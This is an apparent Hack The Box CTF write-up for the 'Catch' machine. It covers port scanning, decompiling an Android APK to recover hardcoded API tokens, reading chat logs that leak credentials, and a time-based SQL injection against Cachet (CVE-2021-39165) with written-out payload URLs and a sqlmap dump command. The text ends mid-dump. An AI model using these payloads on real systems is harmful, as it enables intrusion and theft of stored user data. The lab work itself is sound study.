HTB - Catch - 10.10.11.150
Overview
This medium-difficulty machine by MrR3boot from https://hackthebox.com was a very interesting challenge. It was made much harder than it should have been by a huge rabbit chase in the middle that seemed to be a very viable approach. This was due to it being an actual CVE-identified vulnerability, and an acccessible endpoint. Aside from this, the machine was a great learning experience in multiple areas, included code analysis, build of an Android APK, and figuring out how to get code examples to display on this blog post. I thoroughly enjoyed this fun challenge!
Useful Skills and Tools
Build or Decompile APKs with apktool
Decompiling an APK
If you want to decompile an Android APK application to see what files are inside run the following command:
1
apktool d $apk_file
This will make a new folder in the current directory with the contents of the APK.
Building an APK from scratch
To build a new Android APK application from scratch, begin with the following file and folder layout.
1
2
3
4
5
6
7
8
9
10
appName
|--res
| |--layout
| |--activity_main.xml
|--src
| |--com
| |--myapp
| |--MainActivity.java
|
|--AndroidManifest.xml
These are the minimum files and folders that are required to compile a viable APK. See the link below for more information on the minimum structure of each of these files.
- https://ajinasokan.com/posts/smallest-app/
In order to run this application, you will need to compile it. The easiest way to do this is to use apktool. In directory above your application appName
folder, run the following command using your application’s name:
1
apktool b appName
Note: you may have to create an apktool.yml
file in order to get the tool to build your application. Create this file using the below structure:
1
2
3
4
5
6
7
8
9
10
11
12
version: 2.0.0
apkFileName: pkgid8.apk
isFrameworkApk: false
usesFramework:
ids:
- 1
packageInfo:
forcedPackageId: '128'
versionInfo:
versionCode: '1'
versionName: '1.0'
compressionType: false
Display Jekyll Liquid tags in a Markdown codeblock on GitHub Pages
This blog post was written using GitHub-flavored Markdown. In order to render some of the code examples so that you can see them, some workarounds have to be made sometimes. In this post in particular, the templates that are used for injection use the same type of notation as Jekyll’s Liquid. In order to display the code examples I had to do some hunting. I found the below example from stackoverflow.com that worked to solve this problem.
- https://stackoverflow.com/questions/3426182/how-to-escape-liquid-template-tags
- https://stackoverflow.com/a/57120464 (direct link to the answer that worked)
The answer by @liquidat about 3/4 down the page is the only one that would work for me. It involved putting the raw
and endraw
liquid tags in HTML comments.
It is very difficult to get this rendering of the code to render the code…codeception is happening and breaking everything, so I will have to refrain from showing you directly. However, I can attest that this worked and the code later on in this writeup works properly because of it!
Enumeration
Nmap scan
I started my enumeration with an nmap scan of 10.10.11.150
. The options I regularly use are:
Flag | Purpose |
---|---|
-p- | A shortcut which tells nmap to scan all ports |
-vvv | Gives very verbose output so I can see the results as they are found, and also includes some information not normally shown |
-sC | Equivalent to --script=default and runs a collection of nmap enumeration scripts against the target |
-sV | Does a service version scan |
-oA $name | Saves all three formats (standard, greppable, and XML) of output with a filename of $name |
-Pn | Skips doing a ICMP ping check, useful for hosts that do not reply to these |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
┌──(zweilos㉿kalimaa)-[~/htb/timelapse]
└─$ nmap -Pn -vvv -p- --min-rate 1000 10.10.11.150 -oN ../catch/ports.catch
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-16 17:04 CDT
Initiating Parallel DNS resolution of 1 host. at 17:04
Completed Parallel DNS resolution of 1 host. at 17:04, 0.04s elapsed
DNS resolution of 1 IPs took 0.04s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 17:04
Scanning 10.10.11.150 [65535 ports]
Discovered open port 80/tcp on 10.10.11.150
Discovered open port 22/tcp on 10.10.11.150
Discovered open port 5000/tcp on 10.10.11.150
Discovered open port 3000/tcp on 10.10.11.150
Discovered open port 8000/tcp on 10.10.11.150
Completed Connect Scan at 17:05, 50.82s elapsed (65535 total ports)
Nmap scan report for 10.10.11.150
Host is up, received user-set (0.059s latency).
Scanned at 2022-07-16 17:04:25 CDT for 51s
Not shown: 65530 closed tcp ports (conn-refused)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
3000/tcp open ppp syn-ack
5000/tcp open upnp syn-ack
8000/tcp open http-alt syn-ack
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 50.91 seconds
┌──(zweilos㉿kalimaa)-[~/htb/catch]
└─$ cat ports.catch | grep open | cut -d '/' -f 1 | tr '\n' ',' > ports
An initial port scan revealed that ports 22,80,3000,5000, and 8000 were open. I then used some bash commandline kungfu to put these ports into a list that could be fed back into nmap to do a more thorough service enumeration.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
┌──(zweilos㉿kalimaa)-[~/htb/catch]
└─$ nmap -Pn -sCV -vvv -p$(cat ports) --min-rate 1000 10.10.11.150 -oA services.catch
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-16 17:12 CDT
NSE: Loaded 155 scripts for scanning.
Initiating Connect Scan at 17:12
Scanning 10.10.11.150 [5 ports]
Discovered open port 22/tcp on 10.10.11.150
Discovered open port 3000/tcp on 10.10.11.150
Discovered open port 80/tcp on 10.10.11.150
Discovered open port 5000/tcp on 10.10.11.150
Discovered open port 8000/tcp on 10.10.11.150
Completed Connect Scan at 17:12, 0.06s elapsed (5 total ports)
Initiating Service scan at 17:12
Scanning 5 services on 10.10.11.150
Completed Service scan at 17:13, 89.06s elapsed (5 services on 1 host)
NSE: Script scanning 10.10.11.150.
Nmap scan report for 10.10.11.150
Host is up, received user-set (0.061s latency).
Scanned at 2022-07-16 17:12:04 CDT for 92s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC82vTuN1hMqiqUfN+Lwih4g8rSJjaMjDQdhfdT8vEQ67urtQIyPszlNtkCDn6MNcBfibD/7Zz4r8lr1iNe/Afk6LJqTt3OWewzS2a1TpCrEbvoileYAl/Feya5PfbZ8mv77+MWEA+kT0pAw1xW9bpkhYCGkJQm9OYdcsEEg1i+kQ/ng3+GaFrGJjxqYaW1LXyXN1f7j9xG2f27rKEZoRO/9HOH9Y+5ru184QQXjW/ir+lEJ7xTwQA5U1GOW1m/AgpHIfI5j9aDfT/r4QMe+au+2yPotnOGBBJBz3ef+fQzj/Cq7OGRR96ZBfJ3i00B/Waw/RI19qd7+ybNXF/gBzptEYXujySQZSu92Dwi23itxJBolE6hpQ2uYVA8VBlF0KXESt3ZJVWSAsU3oguNCXtY7krjqPe6BZRy+lrbeska1bIGPZrqLEgptpKhz14UaOcH9/vpMYFdSKr24aMXvZBDK1GJg50yihZx8I9I367z0my8E89+TnjGFY2QTzxmbmU=
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH2y17GUe6keBxOcBGNkWsliFwTRwUtQB3NXEhTAFLziGDfCgBV7B9Hp6GQMPGQXqMk7nnveA8vUz0D7ug5n04A=
| 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKfXa+OM5/utlol5mJajysEsV4zb/L0BJ1lKxMPadPvR
80/tcp open http syn-ack Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Catch Global Systems
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
3000/tcp open ppp? syn-ack
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: i_like_gitea=9bf2b818f0ed03c7; Path=/; HttpOnly
| Set-Cookie: _csrf=70XmGOR0KuGDq53MrWEE0ZWRrVE6MTY1ODAwOTUyNzcyOTU3NDk5MA; Path=/; Expires=Sun, 17 Jul 2022 22:12:07 GMT; HttpOnly; SameSite=Lax
| Set-Cookie: macaron_flash=; Path=/; Max-Age=0; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Sat, 16 Jul 2022 22:12:07 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title> Catch Repositories </title>
| <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiQ2F0Y2ggUmVwb3NpdG9yaWVzIiwic2hvcnRfbmFtZSI6IkNhdGNoIFJlcG9zaXRvcmllcyIsInN0YXJ0X3VybCI6Imh0dHA6Ly9naXRlYS5jYXRjaC5odGI6MzAwMC8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL2dpdGVhLmNhdGNoLmh0Yjoz
| HTTPOptions:
| HTTP/1.0 405 Method Not Allowed
| Set-Cookie: i_like_gitea=ec5dd274c199a451; Path=/; HttpOnly
| Set-Cookie: _csrf=MV_EhpnlW73O_FfbTp5On2xmzxY6MTY1ODAwOTUzMzA1NTg3NzM1MA; Path=/; Expires=Sun, 17 Jul 2022 22:12:13 GMT; HttpOnly; SameSite=Lax
| Set-Cookie: macaron_flash=; Path=/; Max-Age=0; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Sat, 16 Jul 2022 22:12:13 GMT
|_ Content-Length: 0
5000/tcp open upnp? syn-ack
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, RTSPRequest, SMBProgNeg, ZendJavaBridge:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 302 Found
| X-Frame-Options: SAMEORIGIN
| X-Download-Options: noopen
| X-Content-Type-Options: nosniff
| X-XSS-Protection: 1; mode=block
| Content-Security-Policy:
| X-Content-Security-Policy:
| X-WebKit-CSP:
| X-UA-Compatible: IE=Edge,chrome=1
| Location: /login
| Vary: Accept, Accept-Encoding
| Content-Type: text/plain; charset=utf-8
| Content-Length: 28
| Set-Cookie: connect.sid=s%3AqHDqYy82KHFoB7Lk_4Wdw0SaI62ZnqQk.qz3gaeB4sv65FV1HUzAog%2FOnChAxQrYEwtRPqlHrkCc; Path=/; HttpOnly
| Date: Sat, 16 Jul 2022 22:12:12 GMT
| Connection: close
| Found. Redirecting to /login
| HTTPOptions:
| HTTP/1.1 200 OK
| X-Frame-Options: SAMEORIGIN
| X-Download-Options: noopen
| X-Content-Type-Options: nosniff
| X-XSS-Protection: 1; mode=block
| Content-Security-Policy:
| X-Content-Security-Policy:
| X-WebKit-CSP:
| X-UA-Compatible: IE=Edge,chrome=1
| Allow: GET,HEAD
| Content-Type: text/html; charset=utf-8
| Content-Length: 8
| ETag: W/"8-ZRAf8oNBS3Bjb/SU2GYZCmbtmXg"
| Set-Cookie: connect.sid=s%3ALVskBEzY1lt8IorL30wSD1CVEc2F6ZCc.ZdL6myGeTMtYsX2S%2Fb4cZ0wdPg%2Bkc%2B%2BPO6fcTT2wnBg; Path=/; HttpOnly
| Vary: Accept-Encoding
| Date: Sat, 16 Jul 2022 22:12:13 GMT
| Connection: close
|_ GET,HEAD
8000/tcp open http syn-ack Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Catch Global Systems
|_http-favicon: Unknown favicon MD5: 69A0E6A171C4ED8855408ED902951594
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 92.64 seconds
It looked like SSH, and four different HTTP-based services were being hosted on ports 80, 3000, 5000, and 8000.
Port 80 - HTTP
There was nothing on this site that worked except the download link in the middle of the page. This link downloaded an Android application catchv1.0.apk
to my system.
apktool
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(zweilos㉿kalimaa)-[~/htb/catch]
└─$ apktool d catchv1.0.apk
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I: Using Apktool 2.6.1-dirty on catchv1.0.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/zweilos/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
┌──(zweilos㉿kalimaa)-[~/htb/catch/catchv1.0]
└─$ ls
AndroidManifest.xml apktool.yml original res smali
I used apktool
to decode the apk, then used openssl
to check if there was any interesting information in the certificate file.
- https://stackoverflow.com/questions/11361452/getting-certificate-details-from-an-apk
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
┌──(zweilos㉿kalimaa)-[~/…/catch/catchv1.0/original/META-INF]
└─$ openssl pkcs7 -inform DER -in CERT.RSA -noout -print_certs -text
Certificate:
Data:
Version: 3 (0x2)
Serial Number: 741994022 (0x2c39ee26)
Signature Algorithm: sha256WithRSAEncryption
Issuer: C=30, ST=Greece, L=Athens, O=Catch Global Systems, OU=DevTeam, CN=Will Robinson
Validity
Not Before: Dec 14 07:24:38 2021 GMT
Not After : Dec 4 07:24:38 2061 GMT
Subject: C=30, ST=Greece, L=Athens, O=Catch Global Systems, OU=DevTeam, CN=Will Robinson
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (2048 bit)
Modulus:
00:94:c9:89:7e:f7:37:e7:9a:a5:e9:af:d2:6a:58:
a1:5d:ab:7f:ea:a1:c3:1b:cd:6e:8f:bf:76:54:a2:
d5:b1:d6:0d:fa:b7:a3:9a:6a:f8:77:f6:33:0f:66:
1a:24:2d:e8:0d:50:de:77:9c:c5:7e:69:a7:90:79:
b2:16:c5:b7:9c:b2:98:48:43:82:3a:1a:e7:28:d3:
dc:23:4f:2d:4b:f2:cb:f2:2b:d4:54:f3:9b:52:70:
31:8e:70:cd:85:b9:7d:02:6d:4b:18:06:75:c8:9e:
c8:82:8f:c6:29:32:98:8f:f7:66:10:50:55:58:c3:
55:8a:44:0d:8c:11:7a:75:2f:c1:3d:a3:7b:8c:05:
17:f3:63:0a:54:d1:5c:27:51:61:9e:61:62:44:bc:
49:24:24:cd:dc:57:71:25:54:be:2d:23:25:78:db:
14:89:6d:a1:a6:47:ef:2c:28:8f:e6:ae:a6:48:04:
7f:d5:0c:cd:45:c3:71:f3:66:49:22:b4:71:77:de:
39:ee:c2:83:48:f3:eb:08:28:29:fb:56:2f:6e:0c:
69:73:89:44:99:c8:ff:a3:cf:8a:42:77:4a:8d:d0:
80:86:a0:3f:f1:b7:b5:91:6a:37:6d:c5:3a:cc:81:
04:25:f8:8f:46:4f:89:a0:ef:d4:a0:cf:a6:ed:36:
6e:25
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Subject Key Identifier:
BE:97:57:BB:39:14:BC:E5:B6:20:68:6B:4E:91:BD:BF:B2:EB:12:EB
Signature Algorithm: sha256WithRSAEncryption
Signature Value:
73:55:bf:45:9e:59:96:ac:13:b3:f8:f1:e8:63:88:3c:d8:11:
a3:98:75:c5:81:f9:bf:c4:f9:8b:95:cd:7d:60:29:87:7e:4b:
e7:0c:57:fe:55:2a:3d:90:b4:b2:0d:1d:9a:90:fe:a1:26:92:
c2:81:bb:11:d7:91:05:04:59:ca:aa:15:f2:0b:73:48:77:89:
d2:89:72:96:76:3b:b1:b1:a4:ff:a5:4f:d2:2a:c4:c3:68:59:
8a:22:a2:7d:83:ae:01:d4:0c:db:6b:b6:e1:52:65:c9:b3:91:
56:d4:45:04:ee:0b:ce:0d:dd:36:7e:75:9d:c2:2f:07:df:b0:
c2:d5:ff:6d:32:88:85:e8:b2:93:23:52:fc:cf:36:93:99:39:
6d:e4:dc:56:9f:6e:64:3a:43:b0:3d:5a:8a:c6:c3:91:b0:44:
8d:c1:1e:f7:53:c5:26:9c:98:85:f8:70:97:db:e5:23:69:c1:
49:1a:f4:a0:f2:7d:a4:1e:a9:b0:ad:fd:22:53:ad:95:44:46:
16:fc:a9:fe:57:3c:49:82:a5:d5:9e:12:a4:bf:6e:64:96:2d:
96:79:54:eb:a3:e3:7e:e0:e4:04:e0:9a:af:58:da:e9:5f:27:
86:64:09:5e:e4:59:43:87:9b:80:3d:37:c2:e5:da:24:b8:1b:
b4:69:39:4d
The cert.rsa
file contained a self-signed certificate with useful information.
Subject: C=30, ST=Greece, L=Athens, O=Catch Global Systems, OU=DevTeam, CN=Will Robinson
I now had a potential username and domain OU to start with.
apkenum.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
┌──(zweilos㉿kalimaa)-[~/htb/catch/APKEnum]
└─$ python2 APKEnum.py -p ../catchv1.0.apk
:::'###::::'########::'##:::'##:'########:'##::: ##:'##::::'##:'##::::'##:
::'## ##::: ##.... ##: ##::'##:: ##.....:: ###:: ##: ##:::: ##: ###::'###:
:'##:. ##:: ##:::: ##: ##:'##::: ##::::::: ####: ##: ##:::: ##: ####'####:
'##:::. ##: ########:: #####:::: ######::: ## ## ##: ##:::: ##: ## ### ##:
#########: ##.....::: ##. ##::: ##...:::: ##. ####: ##:::: ##: ##. #: ##:
##.... ##: ##:::::::: ##:. ##:: ##::::::: ##:. ###: ##:::: ##: ##:.:: ##:
##:::: ##: ##:::::::: ##::. ##: ########: ##::. ##:. #######:: ##:::: ##:
..:::::..::..:::::::::..::::..::........::..::::..:::.......:::..:::::..::
# Developed By Shiv Sahni - @shiv__sahni
Thank you for installing APKEnum
I: Checking if the APK file path is valid.
I: APK File Found.
I: Initiating APK decompilation process
I: Decompiling the APK file using APKtool.
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I: Successfully decompiled the application. Proceeding with scanning code.
List of URLs found in the application
1. https://status.catch.htb
2. http://schemas.android.com
No S3 buckets found
No S3 websites found
No IPs found
No Google MAPS API Keys found
Thank You For Using APKEnum
This tool gave me a list of URLs found in the application. Only one was interesting: https://status.catch.htb
, which I added to my hosts file. The site was not reachable from the outside, however (port 443 was not open). It seemed like this must be the site the mobile app was supposed to replace, or maybe to interact with.
I had noticed that the “future enhancements” listed on the homepage included “Lets-chat” and “Gitea” integration - maybe this app already had these built in? I decided to hunt for anything related to these inside the APK files.
1
2
<string name="lets_chat_token">
NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==
In the file catchv1.0/res/values/strings.xml
I found a token.
1
2
3
4
5
6
7
8
┌──(zweilos㉿kalimaa)-[~/htb/catch/catchv1.0/res]
└─$ grep -r token
values/strings.xml: <string name="gitea_token">b87bfb6345ae72ed5ecdcee05bcb34c83806fbd0</string>
values/strings.xml: <string name="lets_chat_token">NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==</string>
values/strings.xml: <string name="slack_token">xoxp-23984754863-2348975623103</string>
values/public.xml: <public type="string" name="gitea_token" id="0x7f0e0028" />
values/public.xml: <public type="string" name="lets_chat_token" id="0x7f0e002c" />
values/public.xml: <public type="string" name="slack_token" id="0x7f0e0065" />
I used grep to see if there were any more tokens and found a couple more tokens related to other services. I couldnt see any way to use these at the moment however, so I went back to the other ports I had found open.
Port 3000 - Gitea?
There wasn’t much here. I did find a cookie called i_like_gitea
in the headers that indicated that this might relate to the Gitea token I had found. Since I had found those three tokens I started looking for a place to use them.
Port 5000 - lets-chat API
Navigating to the url using port 5000 led me to a login page for something called “Let’s Chat”. Since one of the tokens I had found seemed to be for this application I fired up Burp suite so see if I could use it to authenticate.
- https://github.com/sdelements/lets-chat/wiki/API:-Authentication
API requests must be authenticated using Basic Authentication or with a Bearer token.
The GitHub page for this application indicated that using a token was preferable to having a username and password, and I hoped that I wouldn’t need credentials if I used this token.
Basic Authentication Use the API token as the username when authenticating. The password can be set to anything, but it must not be blank (simply because most clients require it).
- https://swagger.io/docs/specification/authentication/bearer-authentication/
The client must send this token in the Authorization header when making requests to protected resources:
1 Authorization: Bearer <token>
According to the website an authorization token had to be in the above format in order to be used.
1
Authorization: Bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==
I copied the token into into the header of my requests and began trying to figure out what pages would be useful to enumerate.
My dirbuster scan of this URL showed a list of pages to check.
Using Burp I crafted a GET request for the /accounts
page, which gave me a reply in JSON format.
1
{"id":"61b86aead984e2451036eb16","firstName":"Administrator","lastName":"NA","username":"admin","displayName":"Admin","avatar":"e2b5310ec47bba317c5f1b5889e96f04","openRooms":["61b86b28d984e2451036eb17","61b86b3fd984e2451036eb18","61b8708efe190b466d476bfb"]}
This output seemed to indicate that the token I had was for the application Administrator and mentioned three open rooms. Since this was a chat application, it seemed likely that I could pull messages out of these rooms if I could connect.
The three rooms were Status, Android_dev, and employees. None of the rooms were password enabled.
1
2
3
4
5
6
7
8
9
10
[{"id":"61b8732cfe190b466d476c02","text":"ah sure!","posted":"2021-12-14T10:34:20.749Z","owner":"61b86dbdfe190b466d476bf0","room":"61b86b28d984e2451036eb17"},
{"id":"61b8731ffe190b466d476c01","text":"You should actually include this task to your list as well as a part of quarterly audit","posted":"2021-12-14T10:34:07.449Z","owner":"61b86aead984e2451036eb16","room":"61b86b28d984e2451036eb17"},
{"id":"61b872b9fe190b466d476c00","text":"Also make sure we've our systems, applications and databases up-to-date.","posted":"2021-12-14T10:32:25.514Z","owner":"61b86dbdfe190b466d476bf0","room":"61b86b28d984e2451036eb17"},
{"id":"61b87282fe190b466d476bff","text":"Excellent! ","posted":"2021-12-14T10:31:30.403Z","owner":"61b86aead984e2451036eb16","room":"61b86b28d984e2451036eb17"},
{"id":"61b87277fe190b466d476bfe","text":"Why not. We've this in our todo list for next quarter","posted":"2021-12-14T10:31:19.094Z","owner":"61b86dbdfe190b466d476bf0","room":"61b86b28d984e2451036eb17"},
{"id":"61b87241fe190b466d476bfd","text":"@john is it possible to add SSL to our status domain to make sure everything is secure ? ","posted":"2021-12-14T10:30:25.108Z","owner":"61b86aead984e2451036eb16","room":"61b86b28d984e2451036eb17"},
{"id":"61b8702dfe190b466d476bfa","text":"Here are the credentials `john : E}V!mywu_69T4C}W`","posted":"2021-12-14T10:21:33.859Z","owner":"61b86f15fe190b466d476bf5","room":"61b86b28d984e2451036eb17"},
{"id":"61b87010fe190b466d476bf9","text":"Sure one sec.","posted":"2021-12-14T10:21:04.635Z","owner":"61b86f15fe190b466d476bf5","room":"61b86b28d984e2451036eb17"},
{"id":"61b86fb1fe190b466d476bf8","text":"Can you create an account for me ? ","posted":"2021-12-14T10:19:29.677Z","owner":"61b86dbdfe190b466d476bf0","room":"61b86b28d984e2451036eb17"},
{"id":"61b86f4dfe190b466d476bf6","text":"Hey Team! I'll be handling the `status.catch.htb` from now on. Lemme know if you need anything from me. ","posted":"2021-12-14T10:17:49.761Z","owner":"61b86f15fe190b466d476bf5","room":"61b86b28d984e2451036eb17"}]
I was able to get a list of the messages for the Status
room by using the id
number. There were some creds for the user john
!
1
2
3
4
[{"id":"61b86aead984e2451036eb16","firstName":"Administrator","lastName":"NA","username":"admin","displayName":"Admin","avatar":"e2b5310ec47bba317c5f1b5889e96f04","openRooms":["61b86b28d984e2451036eb17","61b86b3fd984e2451036eb18","61b8708efe190b466d476bfb"]},
{"id":"61b86dbdfe190b466d476bf0","firstName":"John","lastName":"Smith","username":"john","displayName":"John","avatar":"f5504305b704452bba9c94e228f271c4","openRooms":["61b86b3fd984e2451036eb18","61b86b28d984e2451036eb17"]},
{"id":"61b86e40fe190b466d476bf2","firstName":"Will","lastName":"Robinson","username":"will","displayName":"Will","avatar":"7c6143461e935a67981cc292e53c58fc","openRooms":["61b86b3fd984e2451036eb18","61b86b28d984e2451036eb17"]},
{"id":"61b86f15fe190b466d476bf5","firstName":"Lucas","lastName":"NA","username":"lucas","displayName":"Lucas","avatar":"b36396794553376673623dc0f6dec9bb","openRooms":["61b86b28d984e2451036eb17","61b86b3fd984e2451036eb18"]}]
Unfortunately, there were no interesting messages in the other two chat rooms. I tried using the creds found in the chat but the password did not work for any of the usernames I had, so I moved on to the next open port I had found.
Port 8000 - Cachet
The page hosted on port 8000 looked to be an incident tracker timeline, but there were no incidents listed at all. I noticed the bottom of the page showed what was used to make the page. It said “Powered by Cachet”. I checked the home page for this and found that it was indeed for keeping track of the status of tasks. It was labeled as:
The open source status page system
A search for vulnerabilities related to this system found that three CVE’s had been discovered at one time that could lead to RCE.
- https://portswigger.net/daily-swig/rce-vulnerabilities-in-open-source-software-cachet-could-put-users-at-risk
- https://blog.sonarsource.com/cachet-code-execution-via-laravel-configuration-injection/
- https://www.leavesongs.com/PENETRATION/cachet-from-laravel-sqli-to-bug-bounty.html
Troublesome trio
The first bug (CVE-2021-39172) is a newline injection that is triggered when users update an instance’s configuration, such as the email settings. It allows attackers to inject new directives and to alter the behavior of core features, ultimately leading to the execution of arbitrary code.
A second vulnerability (CVE-2021-39174) is also related to this feature, and allows attackers to exfiltrate secrets that are stored in the configuration file – for example, database passwords and framework keys.
Finally, the last bug (CVE-2021-39173) is “much simpler” according to researchers, and allows an attacker to change the setup process even if the target instance is already fully configured. “That way, attackers can trick the Cachet instance into using an arbitrary database under their control, ultimately leading to arbitrary code execution,” the researchers wrote.
The Dashboard link on the main page led to a login page.
The subscribe link led to error page with a potentially interesting error message.
This error can be identified by e02c6d1c-f391-4b74-a522-f6cd2ceb8c2c. You might want to take a note of this code.
I did some research into the CVEs for this system and found a POC had been written for one of them. I quickly went through the Python exploit and found that it wasn’t very complicated. It was mainly sending some crafted web requests to one of the endpoints
- https://github.com/W0rty/CVE-2021-39165/blob/main/exploit.py
First I copied the target url from the exploit
I was able to confirm sqli with a test payload
1
http://status.catch.htb:8000/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%27a%27)%20and%20(select%20sleep(5))--
Using sqlmap I was able to find a working payload as well (this took a long time!)
1
Payload: http://status.catch.htb:8000/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+'a'=? and 1=1) AND (SELECT 7346 FROM (SELECT(SLEEP(5)))ZNEp)+--+"
After this it was able to very slowly get the table names…very slowly. like…1 character per few seconds slow… Time-based SQL injection enumeration and exploitation is not recomended if you are in a time crunch!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
[19:21:09] [INFO] retrieved: cachet
[19:21:30] [INFO] retrieved: mysql
[19:21:49] [INFO] retrieved: performance_schema
[19:22:57] [INFO] retrieved: sys
[19:23:10] [INFO] fetching tables for databases: 'cachet, information_schema, mysql, performance_schema, sys'
[19:23:10] [INFO] fetching number of tables for database 'cachet'
[19:23:10] [INFO] retrieved: 25
[19:23:15] [INFO] retrieved: actions
[19:23:41] [INFO] retrieved: cache
[19:23:57] [INFO] retrieved: component_groups
[19:25:07] [INFO] retrieved: components
[19:25:21] [INFO] retrieved: failed_jobs
[19:26:04] [INFO] retrieved: incident_components
[19:27:23] [INFO] retrieved: incident_templates
[19:28:09] [INFO] retrieved: incident_updates
[19:28:46] [INFO] retrieved: incidents
[19:28:59] [INFO] retrieved: invites
[19:29:20] [INFO] retrieved: jobs
[19:29:36] [INFO] retrieved: meta
[19:29:50] [INFO] retrieved: metric_points
[19:30:37] [INFO] retrieved: metrics
[19:30:48] [INFO] retrieved: migrations
[19:31:21] [INFO] retrieved: notifications
[19:32:10] [INFO] retrieved: schedule_components
[19:33:30] [INFO] retrieved: schedules
[19:33:43] [INFO] retrieved: sessions
[19:34:10] [INFO] retrieved: settings
[19:34:37] [INFO] retrieved: subscribers
[19:35:10] [INFO] retrieved: subscriptions
[19:35:44] [INFO] retrieved: taggables
[19:36:14] [INFO] retrieved: tags
[19:36:22] [INFO] retrieved: users
I stopped the torture after the tables from the first database were enumerated. I forgot to get databases before I asked it to get tables, so this would have taken a very long time to complete!
1
2
┌──(zweilos㉿kalimaa)-[~/htb/catch]
└─$ sqlmap -u 'http://status.catch.htb:8000/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=1)*+--+"' -D cachet -T users --dump
I used the above command to dump the contents of the cachet.users
table.
While I was waiting for the database to finish its painfully slow enumeration, I went out to eat with friends.
The MySQL cachet.users database
1
2
3
4
5
6
7
8
9
Database: cachet
Table: users
[2 entries]
+----+-----------------+--------+---------+----------------------+--------------------------------------------------------------+----------+----------+---------------------+---------------------+--------------------------------------------------------------+-------------------+
